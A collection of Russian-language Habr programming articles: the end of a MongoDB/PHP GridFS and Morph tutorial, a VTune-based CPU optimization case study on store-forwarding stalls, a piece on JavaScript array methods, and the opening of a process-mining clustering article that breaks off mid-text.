В качестве альтернативы the storeFile() существует метод storeUpload(), которые предназначен для использования совместно с загрузкой фалов, используя PHP. Использовать эту возможность очень легко: передайте в storeUpload название поля загрузки файла в форме, а MongoDB сама все сделает. Вы также можете передать название файла как второй аргумент.
Ниже небольшой пример:
> `"post" enctype="multipart/form-data">
>
> Select file for upload:
>
> "file" name="f" />
>
> "submit" name="submit" />
>
>
>
> php<br/
> if (isset($_POST['submit'])) {
>
> try {
>
> // open connection to MongoDB server
>
> $conn = new Mongo('localhost');
>
>
>
> // access database
>
> $db = $conn->test;
>
>
>
> // get GridFS files collection
>
> $gridfs = $db->getGridFS();
>
>
>
> // check uploaded file
>
> // store uploaded file in collection and display ID
>
> if (is_uploaded_file($_FILES['f']['tmp\_name'])) {
>
> $id = $gridfs->storeUpload('f');
>
> echo 'Saved file with ID: ' . $id;
>
> } else {
>
> throw new Exception('Invalid file upload');
>
> }
>
>
>
> // disconnect from server
>
> $conn->close();
>
> } catch (MongoConnectionException $e) {
>
> die('Error connecting to MongoDB server');
>
> } catch (Exception $e) {
>
> die('Error: ' . $e->getMessage());
>
> }
>
> }
>
> ?>
>
>
>
>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Имея файл в БД, как его получить обратно? Конечно же, используя идентификатор документа для получения файла (MongoGridFS является наследником MongoCollection, поэтому вы можете использовать find() и findOne()) в виде объекта класса MongoGridFSFile, а затем записать его на диск, используя метод write(), или вывести его куда-либо, используя getBytes(). Если вы используйте вывод в браузер, не забудьте добавить необходимый заголовок (header)!
Ниже пример:
> `php<br/
> try {
>
> // open connection to MongoDB server
>
> $conn = new Mongo('localhost');
>
>
>
> // access database
>
> $db = $conn->test;
>
>
>
> // get GridFS files collection
>
> $grid = $db->getGridFS();
>
>
>
> // retrieve file from collection
>
> $file = $grid->findOne(array('\_id' => new MongoId('4beaa34f00f4784c0a300000')));
>
>
>
> // send headers and file data
>
> header('Content-Type: image/jpeg');
>
> echo $file->getBytes();
>
> exit;
>
>
>
> // disconnect from server
>
> $conn->close();
>
> } catch (MongoConnectionException $e) {
>
> die('Error connecting to MongoDB server');
>
> } catch (MongoException $e) {
>
> die('Error: ' . $e->getMessage());
>
> }
>
> ?>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
**Boys And Their Toys**
Хотя расширение PECL MongoDB предлагает достаточно удобные методы работы с MongoDB, вам может быть необходим более высокий уровень абстракции — скажем, например, если вы пытаетесь интегрировать MongoDB into в существующее приложение (framework-based application). В этом случае вы можете использовать [Morph](http://code.google.com/p/mongodb-morph/), «библиотеку высокого уровня для MongoDB», которая доступна бесплатно по лицензии GNU GPL.
Morph написан как шаблон ActiveRecord, позволяющий создать описание объекта MongoDB, расширяя основной класс Morph\_Object. Эти экземпляры класса Morph\_Object отражаются напрямую на документы MongoDB и имеют те же свойства и методы, с помощью которых можно работать используя стандартную объектную нотацию.
Для иллюстрации, предположим, что вы хотите созадть базу данных игрушек. Обычные атрибуты включают в себя имя (name), описание (description), возраст ребенка (age suitability), пол ребенка (gender suitability) и цену. Вы можете представить всю эту информацию в виде объекта класса Morph\_Object:
> `php<br/
> class Toy extends Morph\_Object {
>
>
>
> public function \_\_construct($id = null)
>
> {
>
> parent::\_\_construct($id);
>
> $this->addProperty(new Morph\_Property\_String('name'))
>
> ->addProperty(new Morph\_Property\_String('colors'))
>
> ->addProperty(new Morph\_Property\_Integer('minAge'))
>
> ->addProperty(new Morph\_Property\_Integer('maxAge'))
>
> ->addProperty(new Morph\_Property\_Enum('gender', null, array('boys', 'girls', 'both')))
>
> ->addProperty(new Morph\_Property\_Float('price'));
>
> }
>
> }
>
> ?>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Теперь вы можете создать новый документ по этому шаблону, используя объект класса Toy, установить свойства и записать его, используя метод save(). Ниже пример:
> `php<br/
> require\_once 'Morph.phar';
>
>
>
> // initialize MongoDB connection
>
> $mongo = new Mongo('localhost');
>
>
>
> // select database for storage
>
> $storage = Morph\_Storage::init($mongo->selectDb('test'));
>
>
>
> // create object and set properties
>
> $toy = new Toy();
>
> $toy->name = 'Ride Along Fire Engine';
>
> $toy->colors = 'red,yellow';
>
> $toy->minAge = '2';
>
> $toy->maxAge = '4';
>
> $toy->gender = 'both';
>
> $toy->price = 145.99;
>
>
>
> // save to database
>
> $storage->save($toy);
>
> echo 'Document saved with ID: ' . $toy->id();
>
> ?>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Также, вы можете получить объект по идентификатору, обновить его и сохранить его обратно.
> `php<br/
> require\_once 'Morph.phar';
>
>
>
> // initialize MongoDB connection
>
> $mongo = new Mongo('localhost');
>
>
>
> // select database for storage
>
> $storage = Morph\_Storage::init($mongo->selectDb('test'));
>
>
>
> // create object and set properties
>
> $toy = new Toy();
>
> $toy->loadById('5421d0b9fc6217c5bb929baa14a97e08');
>
> $toy->name = 'Jumping Squid';
>
> $toy->colors = 'red,orange,green,blue,yellow';
>
> $toy->minAge = '2';
>
> $toy->maxAge = '10';
>
> $toy->gender = 'boys';
>
> $toy->price = 22.99;
>
>
>
> // save to database
>
> $storage->save($toy);
>
> echo 'Document saved with ID: ' . $toy->id();
>
> ?>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Все эти примеры иллюстирируют — MongoDB обеспечивает надежную, богатую на возможности реализацию безсхемной СУБД. Доступность для различных платформ, легкая интеграция с PHP и другими языками и расширенная документация (плюс очень классые онлайн возможности для экспериментов) делают MongoDB идеальной для разработки современной, документо-ориентированной БД. | https://habr.com/ru/post/103699/ | null | ru | null |
# Оптимизация для CPU: как найти черную кошку в темной комнате
*Метод недопустимой операции:
Разделить кошку на ноль,
после чего она станет бесконечно большой,
так что её будет невозможно упустить.*
[АбсурдопедиЯ]
Пытаясь найти проблему с производительностью относительно простого кода, я вспомнил несколько нелепых методов решения, описанных на [Абсурдопедии](http://absurdopedia.wikia.com/wiki/%D0%9A%D0%B0%D0%BA_%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D0%BB%D1%8C%D0%BD%D0%BE:%D0%98%D1%81%D0%BA%D0%B0%D1%82%D1%8C_%D1%87%D1%91%D1%80%D0%BD%D1%83%D1%8E_%D0%BA%D0%BE%D1%88%D0%BA%D1%83_%D0%B2_%D1%82%D1%91%D0%BC%D0%BD%D0%BE%D0%B9_%D0%BA%D0%BE%D0%BC%D0%BD%D0%B0%D1%82%D0%B5), для задачи поиска черной кошки в темной комнате. Как ни странно, мне очень помогло последовательное использование трех методов, которые можно найти по ссылке: Прагматизм, Метод дихотомии и Метод тыка.
Итак, имеем задачу последовательной перестановки байтов в каждом слове массива (big-endian <-> little-endian) и суммирования всех слов в одно (reduction). Оставим пока в стороне задачу распараллеливания, ибо ее решение близко к тривиальному, и для нас пока не представляет интереса.
Прямая (в лоб) имплементация алгоритма обычно называется наивной. Это наверное от того, что мы, программисты, навивно полагаемся на компилятор, который сгенерирует если не оптимальный, то близкий к этому код, и дальше оптимизировать будет уже нечего. Впрочем, как мы увидим ниже в дизассемблере, компилятор производит довольно простую последовательность инструкций, по-идее, не должную вызывать особых проблем с производительностью на платформе x86.
```
void init()
{
int i;
for (i = 0; i < 1024; i++)
buf[i] = i;
}
unsigned int change_endianess(char *big)
{
char temp;
temp = big[0];
big[0] = big[3];
big[3] = temp;
temp = big[1];
big[1] = big[2];
big[2] = temp;
return *(unsigned int *)big;
}
void reduce()
{
int i, n;
unsigned int sum = 0;
init();
for (n = 0; n < ITER_NUM; n++){//repeat itarations
for (i = 0; i < 1024; i++){
sum += change_endianess((char *)(buf+i));}}
printf ("Sum is %d\n", sum);
}
main ()
{
reduce();
}
```
Как выражаются наши остроумные маркетологи, «оценка производительности без профилировки является гаданием». Поэтому запускаем General Exploration профиль в [VTune Amplifier XE](http://software.intel.com/en-us/articles/intel-vtune-amplifier-xe/) для того, чтобы оценить, насколько эффективно этот код выполняется на микроархитектуре Core i7 (codename Nehalem). Не забываем указать опции -Zi и /debug:inline-debug-info для Intel Compiler (Windows), чтобы сохранить отладочную информацию и информацию о строках функций, которые были «заинлайнены» (как правильно сказать по-русски, «inlined»?). Последняя опция очень полезна, так как позволяет VTune Amplifier XE атрибутировать значения счетчиков прямо по строкам вложенной функции. Это новая фича VTune; ее можно и отключать, чтобы результаты отображались только напротив вызова фунции.
Так как тест отрабатывает довольно быстро (несмотря на выбранное достаточно большое количество итераций), полезно в настройках проекта VTune включить опцию Allow Multiple Runs, что заставит инструмент запускать тест несколько раз, собирая счетчики группами. В противном случае, счетчики будут мультиплексироваться, и при небольшом времени выполнения теста точность может пострадать.
Из результатов понятно, что ничего не понятно. Видно, что производительность исполнения кода в функции reduce довольно далека от совершенства, так как CPI=1.67 более чем в 6 раз больше оптимального 0.25. Нет, это конечно не значит, что у нас потенциал увеличения производительности кода в 6 раз, но добиться блее низкого CPI на таком простом цикле вполне можно было бы. Однако, почему CPI высок, сказать трудно. Метрика Retire Stalls примерно равна 0.7 и говорит нам о том, что во время завершения выполнения инструкций наблюдаются простои конвеера в 70% тактов. Остальные показатели производительности, судя по результатам собранного профиля, в норме. Более того, зная, что в большинстве случаев причиной проблем производительности бывает подсистема памяти, можно специально запустить Memory Access анализ. Но он покажет тоже самое – проблем с памятью нет. Впрочем, код такой простой, а доступ к памяти такой последовательный, что запускать анализ памяти даже и не стоило. По тем же причинам нам не поможет и Branch Analysis.
Начинаем искать черную кошку в темной комнате, вернее причину провала производительности в микроархитектуре процессора.
Применяем улучшенный метод поиска кошки «Прагматизм». Изначально необходимо определиться, что мы получим, если найдем эту кошку, и стоит ли ее из-за этого искать. Какой именно у нас потенциал, помогают оценить метрики **Execution Stalls** и **Retire Stalls**.
Первая мертика Execution Stalls — соотношение между значениями счетчиков **UOPS\_EXECUTED.CORE\_STALL\_CYCLES** и **UOPS\_EXECUTED.CORE\_ACTIVE\_CYCLES**.
Счетчик событий UOPS\_EXECUTED.CORE\_STALL\_CYCLES измеряет количество тактов простоя в вычислительной части конвейера процессора, когда диспетчер операций (Reservation Station) не назначает выполнение операций ни на один порт.
Счетчик событий UOPS\_EXECUTED.CORE\_ACTIVE\_CYCLES соответственно считает циклы, когда хотя бы в одном из четырех вычислительных портов и двух портов чтения/записи есть микрооперация для исполнения.
Соотношение UOPS\_EXECUTED.CORE\_STALL\_CYCLES / (UOPS\_EXECUTED.CORE\_ACTIVE\_CYCLES + UOPS\_EXECUTED.CORE\_STALL\_CYCLES) позволит нам судить о том, какая часть времени выполнения функции соответствовала простою вычислителя, и каков наш потенциал увеличения производительноти, если мы каким-либо способом добъемся снижения времени простоя процессора.
Кстати, сумма эти счетчиков должна давать значение счетчика всех тактов CPU\_CLK\_UNHALTED.THREAD. И в VTune для автоматического вычисления метрики Execution Stalls используется соотношение UOPS\_EXECUTED.CORE\_STALL\_CYCLES / CPU\_CLK\_UNHALTED.THREAD.
В нашем случае, соотношение примерно равно 0.24 (четверть тактов простоя из общего числа), и это значит, что, если устранить простои, то потенциально можем увеличить пропускную способность вычислителя по крайней мере на четверть – и это только для одного из четырех слотов.
Вторая метрика Retire Stalls – это соотношение между значениями **UOPS\_RETIRED.STALL\_CYCLES / CPU\_CLK\_UNHALTED.THREAD**, показывающая какая часть времени от общего количества тактов соответствует состоянию, когда ни одна микрооперация не завершается (retired), хотя теоретически, могло бы завершаться до 4 операций за такт.
Это значит, что при 70% простоя, если мы хорошо будем искать кошку, устранив причину ожидания исполнения операций, можно надеяться на ускорение выполнения программы по крайней мере в 2.3 раза.
Пользуясь здравым смыслом, делаем вывод, что ради такого ускорения выполнения алгорима, можно и попытаться.
Чтобы найти, где у нас проблема, используем второй метод поиска кошки — «Метод дихотомии»: последовательно делим комнату на равные части, вернее разделяем стадии конвеера процессора на логические части, где можно пытаться искать причину проблемы. Этот метод хорошо описан в [Intel® 64 and IA-32 Architectures Optimization Reference Manual](http://www.intel.com/content/www/us/en/architecture-and-technology/64-ia-32-architectures-optimization-manual.html), в разделе “Using Performance Monitoring Events” как «Performance Events Drill-Down and Software Tuning Feedback Loop”. Вот его несколько упрощенное представление:
Суть метода состоит в том, чтобы последовательно отделять части конвеера, находя с помощью соответствующих счетчиков место, где происходит его простой, то есть незанятость продвижением микроопераций (bottleneck). Первоначально необходимо определить, выполняются ли микроинструкции в конвеере. Если да, то заканчивается ли их выполнение успехом (Retire). В случае выполнения незаканчивающихся изменением состояния процессора операций (Non-Retired), имеет место ошибочное предсказание и выполнение не тех ветвлений программы (Bad Speculation). В нашем же случае мы имеем дело с простоем конвеера, и далее необходимо померить, возникают ли проблемы с выделением ресурсов процессора (внутренние регистры, буферы, и т.д.). Если нет, то это будет значить, что процессору не хватает инструкций для исполнения, и проблема во Frond-End, то есть там, где инструкции выбираются из кэша инструкций, декодирутся, и ставятся в очередь исполненя. Если да, то проблема где-то в самой темной части комнаты, называемой Back-End, где производятся вычисления, и где могут быть проблемы как с самими вычислителями, так и с диспетчеризацией микроинструкций, выделением буферов, ожиданием данных из памяти, и так далее.
Определить, есть ли Allocation Stalls очень просто. Нужно посмотреть показания счетчика с именем **RESOURCE\_STALLS.ANY**. Переключив viewpoint VTune на Hardvare Event Count и глядя на показания этого счетчика (значение, соизмеримое с общим количествои тактов CPU), понимаем, что именно нехватка каких-то ресурсов, согласно счетчику, может идентифицировать проблему в нашем коде.
Согласно Абсурдопедии, Метод дихотомии должен привести к делению комнаты до тех пор, пока кошка не сконцентрируется в точку. Однако, для микроархитектуры процессора возможности метода не безграничны и на определенном этапе заканчиваются. И здесь, как нельзя лучше, применяется «Метод тыка» – один из самых эффективных научных методов, в случаях когда другие, более строгие и регулярные методы, уже не помогают.
Нам необходимо перемерить все возможные счетчики, которые харектеризуют нехватку ресурсов. Их немного, и нужно всего лишь заменить расширение счетчика ANY, на конкретные ресурсы. Для моего мобильного варианта Core i7: RESOURCE\_STALLS.LOAD, RESOURCE\_STALLS.STORE, RESOURCE\_STALLS.ROB\_FULL, RESOURCE\_STALLS.RS\_FULL, RESOURCE\_STALLS.OTHER эти данные можно собрать отдельно, а можно и найти в результатах профиля General Exploration. Суммарные показатели намекают нам, что существует проблема остановки продвижения конвеера из-заполнения ROB-буфера, и нехватки буфера записи данных.
В Store Buffer складываются данные для записи в память. Задержки выполнения операций будут наблюдаться, если следует много инструкций записи, перемежающихся с чтением. Reorder Buffer (ROB) содержит в себе микрооперации, которые ожидают окончания исполнения, а также выполненые операции, которые изменяют состояние процессора в порядке их исполнения (in-order). Важно определить, при ожидании какой инструкции буфер был переполнен поступающими микрооперациями и блокировал дальнейшую работу конвеера.
Здесь нам поможет Source View вместе с дизассемблированием — Assembly View. Для экономии места расположим их отдельно, хотя в VTune они находятся рядом.
Как видно по значению счетчика CPU\_CLK\_UNHALTED.TREAD, большинство тактов попало на цикл выполнения суммирования слов, а не на функцию перестановки. Смещение данных на строку цикла for несколько запутывает, но это всегда происходит с циклами. Результаты, относящиеся к телу цикла могут сместиться на его заголовок, если тело цикла небольшое. Чтобы убедиться в этом, посмотрим на дизассемблированный вариант функции.
Интересным для нас является Basic Block 5: он представляет собой цикл выполнения операции перестановки байтов и суммирования слов – так сгенерировал инструкции компилятор. Начиная с адреса 0х4010d0 по 0x401105 находятся инструкции перестановки байтов в слове. По адресу 0х40110с – как раз искомая инструкция суммирования значения слова в регистре edx. Опять же, за счет смещения (skid) результаты отобразились на инструкции inc ниже, которая не может занимать столько тактов. Что интересно, эта же инструкция суммирования add собрала наибольшее количество показаний счетчиков Resource Stalls. Забегая вперед и применяя все тот же Метот тыка, отметим, что убрав из комнаты кошку, то есть эту операцию суммирования, мы точно узнаем, что комната пуста, а проблемы с Resource Stalls и производительностью исчезли.
Так в чем же проблема с этой инструкцией, вернее с несколькими микрооперациями, из которых она состоит (чтение адреса, чтение данных из памяти и операция суммирования в регистре)? Тут, как всегда есть одна хитрость: нужно либо хорошо знать особенности реализации выгрузки-загрузки данных в микроархитектуре, либо использовать несколько другой микропроцессор. Вместо нашего мобильного Core i7 (code name Nehalem) померяем на платформе c процессором Xeon либо на процессоре с кодовым именем Westmere (так сказать, возьмем комнату пооснасщеннее), в которых дополнительно можно получить счетчик **LOAD\_BLOCK.OVERLAP\_STORE**. Он будет просто зашкаливать на asm-инструкции add. Вообще этот счетчик сигнализирует о заблокированных по разным причинам микрооперациях загрузки данных (load). Самая распространенная причина такой сигнализации состоит в том, что микрооперация load заблокирована предыдущей микрооперацией записи (store):
— Некоторые байты читаемых данных были в предыдущей операции записи, а некоторые нет;
— Байты слова чтения те же, что и для предшествующей записи, и слово записи выровнено по своему размеру, при этом читаются 1-2 байта не выровненные по началу слова записи, либо 4-8 байт, и не выровненные с данными записи;
— Байты слова чтения те же, что и для предшествующей записи, но слово записи не выровнено по своему размеру, и чтение не выровнено по началу слова записи.
Теперь присмотримся внимательнее к последовательности asm-инструкций, реализующих цикл перестановки байт и сумиирования. Здесь происходит ни что иное, как чтение слова с соответствующим побайтовым смещением из памяти в регистры ebx и ecx (временные значения) и побайтовая запись данных из нижней части регистров bl и cl в память. Пока мы побайтно читаем и пишем в память, никаких проблем нет. Однако, стоит нам попытаться загрузить целое слово из памяти (микрооперация load в инструкции add) по тому же адресу слова, что в предыдущей операции записи, как эта операция загрузки будет заблокирована. Процессор не может передать все слово целиком в буфер чтения сразу после записи этого слова по частям – приходится ждать. Такая проблема называется Blocked Loads Due to No Store Forwarding. Запомните ее, так как она будет часто встречаться, если вы активно работаете с байтами внутри слов.
Необходимо отметить, что, исследуя проблему на данной мобильной платформе, пришлось применять Модифицированный Метод тыка, так как собранные счетчики явно не говорили о наличии No Store Forwarding. Мы притянули сюда shrink-версию микроархитекуры Nehalem – Westmere, либо Xeon; а профиль General Exploration не содержал счетчика событий LOAD\_BLOCK.OVERLAP\_STORE. Следующее поколение процессоров — 2nd generation Intel® Core™ processor с кодовым именем SandyBridge (собственно уже являющееся текущим поколением) — содержит специальный счетчик **LD\_BLOCKS\_STORE\_FORWARD**, который есть в VTune-профиле General Exploration для SandyBridge, и который напрямую укажет нам на проблему.
Теперь осталось подумать, как исправить код и решить проблему производительности. Из описания причин ее возникновения понятно, что нужно сделать так, чтобы загрузка слова из памяти непосредственно не следовала после его побайтной записи по тому же адрусу. Значит, чтобы избежать задач поиска «этого котэ» в будущем, нужно разделить комнату и кошку: вынесем операцию суммирования слов массива в отдельный цикл.
```
void reduce()
{
int i, n;
unsigned int sum = 0;
init();
for (n = 0; n < ITER_NUM; n++)
{
for (i = 0; i < 1024; i++)
change_endianess((char *)(buf+i));
for (i = 0; i < 1024; i++)
sum += buf [i];
}
printf ("Sum is %d\n", sum);
}
```
Разницу времени выполнения программы можно видеть, сравнив результаты профилировки.
Остался один небольшой вопрос, почему функция ускорилась более чем в 3 раза, тогда как в начале мы определили, что циклов простоя всего 70 процентов? Дело в том, что такое количество циклов процессор простаивает при данном наборе инструкций, использованных компилятором. Разделив в исходном коде циклы перестановки байтов и суммирования, мы помогли компилятору автоматически векторизовать последний цикл, и он заменил обычные скалярные инструкции суммирования и чтения-записи на векторные SIMD-инструкции, которые на 32-битной платформе выполняются в 4 раза быстрее для данных типа int32. Помните потенциал, посчитанный по CPI? | https://habr.com/ru/post/140965/ | null | ru | null |
# Эффективное использование методов массивов в JavaScript
Автор материала, перевод которого мы публикуем сегодня, говорит, что в последние несколько месяцев ему, при проверке пулл-реквестов, постоянно попадались одни и те же четыре недочёта, связанных с нерациональным использованием методов массивов в JavaScript. Для того чтобы таких недостатков кода, которые раньше появлялись и в его программах, стало меньше, он и написал эту статью.
[](https://habr.com/company/ruvds/blog/422091/)
Замена indexOf() на includes()
------------------------------
«Если вы ищите что-то в массиве, используйте метод `indexOf()`». Примерно такая рекомендация мне встретилась на одном из курсов, когда я изучал JavaScript. Рекомендация это вполне нормальная, ничего плохого о ней сказать нельзя.
На MDN можно узнать, что метод `indexOf()` возвращает первый индекс, по которому некий элемент может быть найден в массиве. Это значит, что если мы планируем использовать в программе этот индекс, метод `indexof()` отлично подходит для поиска элементов в массивах.
А что если нам всего лишь нужно узнать, есть ли некий элемент в массиве или нет? То есть, нас интересует не индекс этого элемента, если он есть в массиве, а сам факт его наличия или отсутствия. При таком подходе нас вполне устроит команда, которая возвращает `true` или `false`. В подобных случаях я рекомендую пользоваться не методом `indexOf()`, а методом `includes()`, который возвращает логическое значение. Рассмотрим пример:
```
'use strict';
const characters = [
'ironman',
'black_widow',
'hulk',
'captain_america',
'hulk',
'thor',
];
console.log(characters.indexOf('hulk'));
// 2
console.log(characters.indexOf('batman'));
// -1
console.log(characters.includes('hulk'));
// true
console.log(characters.includes('batman'));
// false
```
Использование метода find() вместо метода filter()
--------------------------------------------------
Метод `filter()` — весьма полезный инструмент. Он, на основе одного массива, создаёт другой массив, содержащий элементы исходного массива, соответствующие заданному условию. Как можно понять из имени этого метода, он предназначен для фильтрации массивов, в ходе которой обычно получаются массивы, имеющие меньшую длину, чем исходные.
Как быть, если мы знаем, что после фильтрации массива останется всего один элемент? Например, такое может произойти при попытке отфильтровать элементы массива на основе некоего уникального идентификатора. В такой ситуации я не советовал бы пользоваться методом `filter()`, так как тот массив, который он сформирует, будет содержать всего один элемент. Если нас интересует элемент массива с уникальным значением, то работать мы собираемся с единственным значением, а для представления такого значения массив не нужен.
Если говорить о производительности метода `filter()`, то окажется, что ему, для формирования списка из элементов, соответствующих заданному при его вызове условию, придётся просмотреть весь массив. Более того, представим, что в массиве имеются сотни элементов, удовлетворяющих заданному условию. Это приведёт к тому, что результирующий массив окажется довольно большим.
Для того чтобы избежать попадания в подобные ситуации, я посоветовал бы использовать метод `find()`. При вызове ему передаётся коллбэк, описывающий условие, очень похожий на тот, который используется с методом `filter()`, но метод `find()` возвращает лишь первый элемент, соответствующий условию. При этом данный метод останавливает работу сразу после того, как найдёт такой элемент. Весь массив ему, в итоге, просматривать не приходится.
```
'use strict';
const characters = [
{ id: 1, name: 'ironman' },
{ id: 2, name: 'black_widow' },
{ id: 3, name: 'captain_america' },
{ id: 4, name: 'captain_america' },
];
function getCharacter(name) {
return character => character.name === name;
}
console.log(characters.filter(getCharacter('captain_america')));
// [
// { id: 3, name: 'captain_america' },
// { id: 4, name: 'captain_america' },
// ]
console.log(characters.find(getCharacter('captain_america')));
// { id: 3, name: 'captain_america' }
```
Замена метода find() на метод some()
------------------------------------
Должен признать, ту оплошность, которую мы сейчас обсудим, я совершал много раз. Потом мне посоветовали заглянуть на [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array#Methods_2) и посмотреть, как улучшить то, что я делал нерационально. Если в двух словах, то это очень похоже на то, что мы только что рассматривали, говоря о методах `indexOf()` и `includes()`.
В вышеописанном случае мы видели, что метод `find()`, в качестве аргумента, принимает коллбэк и возвращает элемент массива. Можно ли назвать метод `find()` наиболее удачным решением в том случае, если нам надо узнать, содержит ли массив некое значение или нет? Возможно — нет, так как этот метод возвращает значение элемента массива, а не логическое значение.
В подобной ситуации я порекомендовал бы воспользоваться методом `some()`, который возвращает логическое значение.
```
'use strict';
const characters = [
{ id: 1, name: 'ironman', env: 'marvel' },
{ id: 2, name: 'black_widow', env: 'marvel' },
{ id: 3, name: 'wonder_woman', env: 'dc_comics' },
];
function hasCharacterFrom(env) {
return character => character.env === env;
}
console.log(characters.find(hasCharacterFrom('marvel')));
// { id: 1, name: 'ironman', env: 'marvel' }
console.log(characters.some(hasCharacterFrom('marvel')));
// true
```
Использование метода reduce() вместо комбинации методов filter() и map()
------------------------------------------------------------------------
Стоит сказать, что метод `reduce()` нельзя отнести к простым для понимания. Однако, если то, что можно сделать с его помощью, делается в два приёма, с использованием методов `filter()` и `map()`, объединённых в цепочку, возникает такое ощущение, что что-то в таком подходе неправильно.
Я говорю о том, что при таком подходе массив приходится просматривать дважды. Первый проход, выполняемый методом `filter()`, предусматривает просмотр всего массива и создание нового, отфильтрованного массива. После второго прохода, выполняемого методом `map()`, опять же, создаётся новый массив, который содержит результаты преобразования элементов массива, полученного после работы метода `filter()`. Как результат, для того, чтобы выйти на готовый массив, используют два метода. У каждого метода есть собственный коллбэк, при этом в ходе выполнения такой вот операции с использованием метода `filter()` создаётся массив, с которым мы работать уже не сможем.
Для того, чтобы снизить нагрузку на систему, создаваемую использованием двух методов и повысить производительность программ, в подобных случаях я посоветовал бы использовать метод `reduce()`. Результат будет таким же самым, а код получится лучше. Этот метод позволяет фильтровать интересующие нас элементы и добавлять их в аккумулятор. Аккумулятором может быть числовая переменная, хранящая, скажем, сумму элементов массива, это может быть объект, строка или массив, в которых можно накапливать нужные нам элементы.
В нашем случае, так как речь идёт об использовании метода `map()`, я посоветовал бы использовать метод `reduce()` с массивом в качестве аккумулятора. В следующем примере мы фильтруем элементы массива, являющиеся объектами, по значению поля `env`, и выполняем их преобразование.
```
'use strict';
const characters = [
{ name: 'ironman', env: 'marvel' },
{ name: 'black_widow', env: 'marvel' },
{ name: 'wonder_woman', env: 'dc_comics' },
];
console.log(
characters
.filter(character => character.env === 'marvel')
.map(character => Object.assign({}, character, { alsoSeenIn: ['Avengers'] }))
);
// [
// { name: 'ironman', env: 'marvel', alsoSeenIn: ['Avengers'] },
// { name: 'black_widow', env: 'marvel', alsoSeenIn: ['Avengers'] }
// ]
console.log(
characters
.reduce((acc, character) => {
return character.env === 'marvel'
? acc.concat(Object.assign({}, character, { alsoSeenIn: ['Avengers'] }))
: acc;
}, [])
)
// [
// { name: 'ironman', env: 'marvel', alsoSeenIn: ['Avengers'] },
// { name: 'black_widow', env: 'marvel', alsoSeenIn: ['Avengers'] }
// ]
```
Итоги
-----
В этом материале мы рассмотрели некоторые подходы к эффективному использованию методов массивов при решении различных задач. Полагаем, идеи, на которых основаны рекомендации, данные автором этой статьи, могут помочь в улучшении JS-кода и в других ситуациях.
**Уважаемые читатели!** Доводилось ли вам встречаться с примерами нерационального использования механизмов JavaScript?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/422091/ | null | ru | null |
# Кластеризация трасс для оценки качества процессов
Бывают такие случаи в анализе процессов, когда данных не очень много, а действия в процессах хаотичны. И что делать? Конечно, анализировать. Для этого будем использовать привычные инструменты: python и excel. И иногда гугл.
Прежде чем браться за ноутбук, необходимо всегда смотреть на данные глазами. Что имеем: исходный набор состоит из 1 000 000+ строк и 19 столбцов. Внушительно. Чистим и извлекаем нужные данные. После применения некоторых фильтров осталось около 36 000 строк, которые нам необходимы. Разница огромна! Из оставшегося набора выделяем столбцы ‘case\_id’, ‘activity’, ‘timestamp’.
Проведем статистический анализ процессов. Результат показал почти 80% уникальных процессов и среднее количество шагов в трассе чуть больше 1. Катастрофа. Думаем, почему так может быть, и параллельно копаем глубже. После взгляда на метаданные возникло еще больше вопросов: получилось так, что большая часть трасс начинается с действия, которое должно их заканчивать. Еще интереснее.
Нужен более тщательный анализ. Посмотрим на граф, построенный с помощью Inductive miner (pm4py):
Есть тесно связанные компоненты
Выглядит неплохо. Так и не скажешь, что 80% цепочек состоят из 1 действия.
Прежде чем грешить на ИС или исполнителей, проверим, как распределяются процессы. Это может дать некоторое понимание того, что именно повлияло на данные. Проведем кластерный анализ.
Подготовим данные, составив таблицу частотности для активностей в каждом процессе и обогатим ее статистическими характеристиками.
```
unique_actions = df.pivot_table(index='case:concept:name', columns='concept:name', aggfunc='size', fill_value=0)
actions_sum = unique_actions.sum(axis=1)
unique_actions['sum'] = actions_sum
unique_actions.sort_values(by='sum', ascending=False)
```
Считаем медиану, среднюю длину трассы, среднее время выполнения и добавляем столбцы.
```
median = unique_actions.median(axis=1)
mean = unique_actions.mean(axis=1)
unique_actions['mean'] = mean
unique_actions['median'] = median
case_durations = case_statistics.get_all_casedurations(event_log,
parameters={case_statistics.Parameters.TIMESTAMP_KEY: 'time:timestamp'})
durations = pd.DataFrame(case_durations)
```
Для кластеризации используем 3 различных алгоритма: PCA, tSNE, DBSCAN. Сравним разные модели и то, как они помогают понять проблему.
**PCA**
В нашей сводной таблице получилось довольно много признаков, которые могут сильно влиять на точность работы алгоритмов. Чтобы не снижалось качество кластеризации, можно снизить размерность данных (без потери важной информации), для чего и существует метод главных компонент.
Это линейный метод, поэтому он может не работать на данных, в которых присутствуют нелинейные отношения.
Перед применением алгоритма узнаем, какое оптимальное количество компонент нужно оставить: измерим коэффициент дисперсии и узнаем, сколько признаков составляет 90%.
Достаточно 2 признаков
Далее масштабируем данные с помощью StandardScaler и передаем алгоритму.
Визуализация:
С аномалиями и выбросами
Без аномалий и выбросов
Разница есть, но очевидных выводов по графику нет. Все собрано в одну группу. PCA не справился с нашими данными. Есть и другие инструменты для уменьшения размерности. Например, tSNE.**tSNE**
Этот алгоритм работает на основе данных с нелинейными отношениями. Он использует более сложную математическую модель, поэтому в некоторых случаях он может справиться с задачей лучше, чем PCA.
Сравним визуализацию:
Разница с PCA очевидна.
Первый график показывает группы, составленные на исходных данных – с аномально короткими трассами (напомню, их 80%). Как и ожидалось, они собрались в одну большую группу, а вот остальные собрались в одну невыпуклую область или одиноко «размазались» по плоскости.
На втором графике изображены группы, составленные на данных без аномалий. Распределение кардинально изменилось. Видим области с разной плотностью и невыпуклый кластер. Самые плотные собрали процессы примерно одинаковой длины и средним временем выполнения действия. Возможно, в них собраны короткие трассы в 2, максимум в 3 действия (при малом количестве действий вероятность появления значительных различий трасс сильно снижается).
**DBSCAN**
Это алгоритм, работа которого основана на расстоянии между ближайшими точками. Он не чувствителен к шумам и выбросам.
